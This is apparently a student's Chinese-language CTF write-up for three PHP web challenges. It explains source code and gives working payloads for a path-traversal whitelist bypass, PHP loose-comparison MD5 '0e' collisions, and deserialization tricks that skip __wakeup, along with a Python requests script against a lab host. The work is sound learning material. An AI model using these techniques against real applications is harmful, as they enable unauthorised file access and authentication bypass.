题目本身并不难,主要是php代码读的太少了,许多函数都是一脸懵。
打开靶机看到的是一个滑稽……
F12查看源代码,发现source.php
,URL处输入打开,发现源码。我们把源码复制到vsc里面看:
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { //whitelist不是白名单嘛 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //第一次检测,变量是否声明或者变量是否为字符串,也就是说变量必须声明且为字符串才能跳出第一次判断 if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } //查看变量是与白名单匹配 if (in_array($page, $whitelist)) { return true; } //$page前有?,从?前取字符串,用于过滤“?” $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); //跑完一次?过滤再次匹配白名单 if (in_array($_page, $whitelist)) { return true; } //url解码 $_page = urldecode($page); //再过滤一次“?” $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); //第三次匹配白名单 if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } //保证传入不为空 & 保证传入为字符串 & 确保传入通过方法验证 if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { //包含file include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
虽然第七行就出现了可疑的hint.php,但是我们得看一下这串代码到底什么意思。下面是我查询的部分我不太懂的函数。
$_REQUEST 获取以POST方法和GET方法提交的数据,速度较慢 is_string() 函数用于检测变量是否是字符串。返回布尔值 :: 以“静态方式”操作某个“类”的成员方法或属性。 isset() 判断变量是否被赋值,返回布尔值 -> 对象执行方法或取得属性。 => 数组里键和值对应。 mb_strpos(haystack ,needle)返回要查找的字符串在别一个字符串中首次出现的位置, haystack为被检查的字符串,needle为要搜索的字符串 mb_substr() 函数返回字符串的一部分。 in_array() 函数搜索数组中是否存在指定的值。 include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制 到使用 include语句的文件中。同时可以将 PHP 文件的内容插入另一个 PHP文件(在服务器执行它之前)。
(分析已写入注释)
打开hint.php看一眼flag not here, and flag in ffffllllaaaagggg
好怪哦,再看一眼.jpg,确定flag在ffffllllaaaagggg文件里面。
通过对类里面主函数的分析,CheckFile函数进行了三次白名单匹配检测、两次“?”过滤、一次URL编码。只要四个IF语句返回一次true即可包含file(include),也就是说在"?"截断后只要匹配白名单成功就可以通过文件穿越拿到文件ffffllllaaaagggg。
在这里稍微提一下我不太懂的目录穿越。目录穿越(也被称为目录遍历/directory traversal/path traversal)是通过使用 ../ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。
这个顺序在../文件路径是有效的,表示在目录结构中上一级。三个连续的../从/var/www/images/升至文件系统根目录。
防止目录穿越的方法有很多,比如说设置黑名单,设置白名单以及按照"."切割读取文件参数和文件名等,这里就不细究了,估计以后写东西会用的上。
构造payload,payload:hint.php?../../../../../ffffllllaaaagggg
开环境就是php代码:
<?php /** * Created by PhpStorm. * User: jinzhao * Date: 2019/10/6 * Time: 8:04 PM */ highlight_file(__FILE__); class BUU { public $correct = ""; public $input = ""; public function __destruct() { try { //抛出异常,必须让correct与input判等 $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { //获得文件的内容,即本题flag echo file_get_contents("/flag"); } } catch (Exception $e) { } } } //判断GET传参的正确性 if($_GET['pleaseget'] === '1') { //判断post传参的正确性 if($_POST['pleasepost'] === '2') { //MD5加密 if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { //php反序列化 unserialize($_POST['obj']); } } } ?>
按照惯例把常见的和不太懂的函数列出来:
unserialize 函数用于将通过 serialize() 函数序列化后的对象或数组 进行反序列化,并返回原始的对象结构。 uniqid() 基于以微秒计的当前时间,生成一个唯一的 ID(以字符串的 性质返回唯一标识符)。 file_get_contents() 把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。 __destruct() 类的析构函数,这个等下细细研究。
(分析已写入注释)
代码大体分为以下几个步骤:一是get传参部分,使pleaseget=1;二是post传参部分,post传参中,包括pleasepost=2,两个md5判等,以及php反序列化部分。首先我们处理php序列化部分拿到这一部分字符串。本地运行php代码或者使用在线php代码运行:
<?php class BUU { public $correct = ""; public $input = ""; } $obj = new BUU(); $obj->correct = $obj->input; print(serialize($obj)); ?>
其中值得一提的是,correct经过uniqid()函数赋予了唯一的ID,没有办法进行确定。所以我们在序列化的时候,让$obj->correct = $obj->input;
从而解决这部分问题。由此,我们得到php序列化后的字符串:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
之后,涉及到了md5相等的问题。理论上无法获得两个完全相等的MD5值,但是PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,
所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,在php中0e会被当做科学计数法,就算后面有字母,其结果也是0,所以上面的if判断结果使true,成功绕过(弱类型语言if判等导致)。
参数s1开头时,MD5加密后就会变为0e开头。所以我们令
md51=s1885207154a md52=s1836677006a
就可以成功解决MD5的判等的问题。之后就是传参。除去burpsuite抓包然后传参,hackbar传参,postman传参外,可以自己尝试写一写脚本payload(其中,get传参直接在URL中写入就可以了,不用另外搞):
import requests req = requests.post( url="http://59fddd33-2ca8-4756-a085-7e812cb1de82.node4.buuoj.cn:81/?pleaseget=1", data={ "pleasepost": "2", "md51": "s1885207154a", "md52": "s1836677006a", "obj": """O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}""" } ) print(req.text)
其中requests库需要安装,运行代码拿到flag。
打开后是一个js写的挠毛线团的猫猫。题目提示有备份文件。我们赌一把御剑扫描不会被封ip直接给他扫描。扫描出来一个名叫www.zip 的文件(实际上这个www.zip 貌似挺常见的)。然后把他下载下来,解压发现里面有一个flag.php,打开把字符串交上去,然后发现不正确。把目光转向另外的两个文件:index.php和class.php。
其中,index.php文件里php代码只有下面这一部分:
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>
加载class.php文件,之后unserialize反序列化,get传参。继续看class.php里面的代码:
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
(不写注释分析是因为没啥好注释的)
根据destruct分析,当我们令password=100,username=admin的时候,我们可以拿到flag。但是在反序列化之前,会运行__wakeup()
魔术方法,再运行destruct这个魔术方法,从而把username重定向为guset。
之前好像遇到过魔术方法,但是忘记写哪里了……这里重新理一理魔术方法。PHP 将所有以两个下划线开头的类方法保留为魔术方法。对应的是其魔术功能。其中这里我们需要知道的是,serialize()函数会检查类中是否存在一个魔术方法__sleep()
如果存在,该方法会先被调用,然后才执行序列化操作。__sleep()
常用于提交未提交的数据或者类似的清理工作;同样的,反序列化unserialize()函数会检查是否存在__wakeup()
方法,如果存在,则会先调用 此方法,预先准备对象需要的资源。
通过以上解释我们了解到,在反序列化之前,程序会优先执行__wakeup()
,从而把username定位成“guest”。大概是权限保护吧,我们需要绕过这部分。跳过方式相对也很简单(?),在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()
函数的执行。
先使用在线php运行程序进行序列化的构造:
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } } $a = new Name('admin', 100); print(serialize($a)); ?>
得到序列化后的字符串O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
。之后进行__wakeup()
跳过的修改。Name后面的数字为属性个数,我们改为3(大于原本的属性个数即可),然后令select等于这串字符串,get传参尝试,发现不行。
反反复复看了几遍,只有这个private修饰没有看,百度查到public、protected与private在序列化时的区别,因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。由于%00是不可见字符打印不出来,我们可以手动加上。s后面的数字为字符串的长度,所以也要进行修改。所以我们把字符串修改为:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
get传参成功拿到flag。
之后在百度wp的时候,遇到了另外一种写法:
<?php class Name { private $username = 'admin'; private $password = '100'; } $a = new Name(); #进行url编码,防止%00对应的不可打印字符在复制时丢失 echo urlencode(serialize($a)); ?>
其中有意思的是,将序列化出的字符串直接进行URL编码,防止了%00对应的不可打印字符在复制时丢失这一点。学到了学到了。
打印出来并且将Name后面的2改为3后是这个样子:
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
之后依旧按照原步骤提交,拿到flag。